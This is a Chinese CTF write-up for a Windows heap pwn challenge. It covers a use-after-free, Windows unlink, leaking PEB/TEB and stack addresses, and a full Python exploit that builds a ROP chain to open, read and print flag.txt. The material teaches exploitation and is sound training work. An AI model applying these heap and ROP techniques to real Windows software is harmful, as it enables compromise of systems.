知识点

  • UAF
  • Heap overflow
  • 逆向分析
  • unlink
  • Windows下的栈地址泄露

分析

  1. 进⼊主要的函数后,可以发现头部是⽣成了随机数,同时对随机数进⾏了sha512的加密,⽤户输⼊后进⾏sha512, 同时对⽐前五位,使⽤python可以快速完成该检查。
  2. 在编辑堆块时,可以发现每次都是以之前存储的字符串的⻓度+8,所以意味着每次编辑都可以⽐之前延⻓8个字 节。
  3. 存在UAF
  4. 泄漏地址的部分在功能5. Into the forest!的内部,具体位置在 1400073D0 处。5. Into the forest!功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门 1400072A0 从而执行到 1400073D0。触发的具体指令在 140007CE6call qword ptr [rax+10h])处。我们可以泄露程序的基址以及ucrtbase.dll的基址。
  5. 同时获得⼀次⼤于0x20的读写用以制作unlink。
  6. 完成unlink后我们可以任意地址读写,通过程序基址可以泄露kernel32.dll的基址,通过kernell.dll来泄露ntdll.dll的基址(可以从kernel32.dll中定位到NtCreateFile等函数的偏移,因为NtCreateFile函数是从ntdll.dll的导入函数。)
  7. 通过逐步泄露PEB->TEB->stack来攻击函数返回地址寻找peb偏移可参考:Windows pwn学习笔记或者直接通过RtlpUnhandledExceptionFilter的地址-8。
    x64dbg打印:

    log "Peb Addr = 0x{peb()} teb addr = 0x{teb()} tid = 0x{tid()}"

  8. 劫持栈执行 WinExec 时,执行失败并返回 367 错误号,该错误是ERROR_CHILD_PROCESS_BLOCKED错误,原因是题目调用了SeTokenIsNoChildProcessRestricted从而限制了子进程的创建。所以该题需要使用传统的open|read|write来获取flag。

细节

  1. Windows的unlink与Linux不同,需要绕过的限制为:
    Q->Flink->Blink == Q->Blink->Flink == &Q 
  2. 在Windows中0x1a代表结束符(End of Text character),输⼊0x1a会使输⼊提前结 束。
  3. 调试时尽量使用raw_input()

exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import success
#from pwnlib.util.packing import flat, log
from winpwn import *
#from pwn import *
import hashlib
#context.log_level = 'debug'
context.arch = 'amd64'

#sh = remote('127.0.0.1', 6789)
sh=process("RoGueGate_pwn.exe")

def sendlineafter(a,b):
    sh.recvuntil(a)
    sh.sendline(b)

def sendafter(a,b):
    sh.recvuntil(a)
    sh.send(b)

def crack_sha512_5(sha_str):
    for num in range(10000,99999999):
        res = hashlib.sha512(str(num).encode()).hexdigest()
        #print res[0:5]
        if res[0:5] == sha_str:
            print(str(num))
            return str(num)

sh.recvuntil(b"Crack the following code: ")
data=str(sh.recv(5))
print data
sendlineafter(b'Enter your answer: ',crack_sha512_5(data))

def add(index, content):
    sendlineafter(b'please enter : \r\n', b'1')
    sendlineafter(b'Enter User ID:', str(index).encode())
    sendlineafter(b'Enter User Name:', content)

def edit(index, size, content):
    sendlineafter(b'please enter : \r\n', b'2')
    sendlineafter(b'Enter User ID:', str(index).encode())
    sendafter(b'Enter New User Length:', str(size).encode())
    sh.sendline(content)

def delete(index):
    sendlineafter(b'please enter : \r\n', b'3')
    sendlineafter(b'Enter User ID:', str(index).encode())

def show(index):
    sendlineafter(b'please enter : \r\n', b'4')
    sendlineafter(b'Enter User ID:', str(index).encode())
    sh.recvuntil(b'name is: ')

add(0, b'a' * 0x17)
add(1, b'a' * 0x17)
add(2, b'a' * 0x17)#Q
add(3, b'a' * 0x17)
add(4, b'a' * 0x17)#S
add(5, b'a' * 0x17)

delete(2)
#为了让 ListHint 不指向 Q ,我们需要再释放 S
delete(4)

sendlineafter(b'please enter : \r\n', b'5')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')

sendlineafter(b'creature?', b'2')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')

sendlineafter(b'creature?', b'1')

sendlineafter(b'going ?(y/n)', b'y')

sh.recvuntil(b'for gifts.\r\n')
image_addr = int(sh.recvuntil(b'\r\n')[:-2], 16)
success('image_addr: ' + hex(image_addr))
ucrtbase_addr = int(sh.recvuntil(b'\r\n')[:-2], 16)
success('ucrtbase_addr: ' + hex(ucrtbase_addr))

sendlineafter(b'Enter New User ID: ', str(2).encode())

sendafter(b'Length: ', str(0x10).encode())
#unlink 绕过 Q->Flink->Blink == Q->Blink->Flink == &Q
sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))

#get out from maze
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')

#unlink
delete(1)

#[2]->[2]:[2]->[0]
edit(2, 8, p64(image_addr + 0x13060))

edit(2, 8, p64(image_addr + 0x14170))
show(0)
heap_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))
success('heap_addr: ' + hex(heap_addr))

edit(2, 8, p64(heap_addr))
show(0)
heap_addr2 = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))
success('heap_addr2: ' + hex(heap_addr2))

edit(2, 8, p64(image_addr + 0xE010))
show(0)
kernel32_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x1010
success('kernel32_addr: ' + hex(kernel32_addr))

'''
#extrn __imp_RtlSizeHeap
edit(2, 8, p64(kernel32_addr + 0x83780))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x24160
'''

#extrn __imp_NtCreateFile:
edit(2, 8, p64(kernel32_addr + 0x83CE0))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x9db40

success('ntdll_addr: ' + hex(ntdll_addr))

edit(2, 8, p64(image_addr + 0x13080))
edit(0, 8, p64(image_addr + 0x13060 - 1))

def write(addr, value):
    sendlineafter(b'please enter : \r\n', b'2')
    sendlineafter(b'Enter User ID:', str(2).encode())
    sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(b'\0' + p64(addr)[:7])
    #sh.sendline(p64(addr)[:8])

    sendlineafter(b'please enter : \r\n', b'2')
    sendlineafter(b'Enter User ID:', str(0).encode())
    sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(p64(value))

def read(addr):
    sendlineafter(b'please enter : \r\n', b'2')
    sendlineafter(b'Enter User ID:', str(2).encode())
    sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(b'\0' + p64(addr)[:7])
    #sh.sendline(p64(addr)[:8])

    sendlineafter(b'please enter : \r\n', b'4')
    sendlineafter(b'Enter User ID:', str(0).encode())
    sh.recvuntil(b'name is: ')
    return u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))

peb_addr = read(ntdll_addr + 0x16c448) - 0x80
success('peb_addr: ' + hex(peb_addr))

teb_addr = peb_addr + 0x1000
success('teb_addr: ' + hex(teb_addr))
stack_top_addr = (read(teb_addr + 8 + 2) << 16) - 8
success('stack_top_addr: ' + hex(stack_top_addr))

stack_addr = stack_top_addr
while (True):
    tmp = read(stack_addr)
    success(hex(stack_addr) + ': ' + hex(tmp))
    if tmp == image_addr + 0x916B:
        break
    stack_addr -= 8
success('offset: ' + hex(stack_top_addr - stack_addr))

#x64dbg.attach(sh)
raw_input()
write(stack_addr, ntdll_addr + 0x1a853)  # pop rcx; ret
stack_addr += 8

path = b"flag.txt\0"
path_i = 0
while (path):
    tmp = path[:8].ljust(8, b'\0')
    write(stack_top_addr - 0x38 + path_i, u64(tmp))
    path = path[8:]
    path_i += 8

#ntld_base 0x180000000
write(stack_addr, stack_top_addr - 0x38)  # path
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000)  # pop rdx; ret
stack_addr += 8
write(stack_addr, 0)  # 1
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800010e0-0x180000000)  # ret
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x1800A5550-0x180000000))  # open
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180001ee2-0x180000000)  # add rsp, 0x48; ret;
stack_addr += 0x50

write(stack_addr, ntdll_addr + 0x18001a853-0x180000000)  # pop rcx; ret
stack_addr += 8
write(stack_addr, 3)  # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000)  # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr - 0x4000)  # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180007223-0x180000000)  # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100)  # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x1800182A0-0x180000000))  # read
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180001ee2-0x180000000)  # add rsp, 0x48; ret;
stack_addr += 0x50

write(stack_addr, ntdll_addr + 0x18001a853-0x180000000)  # pop rcx; ret
stack_addr += 8
write(stack_addr, 1)  # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000)  # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr - 0x4000)  # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180007223-0x180000000)  # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100)  # len
stack_addr += 8

write(stack_addr, (ucrtbase_addr + 0x180017BA0-0x180000000))  # write
stack_addr += 8

sendlineafter(b'please enter : \r\n', b'6')

sh.interactive()

参考

WMCTF 2023 Writeup

Windows pwn学习笔记

ogeek ctf 2019 win pwn babyheap 详解

windows pwn



追求现实的理想主义者。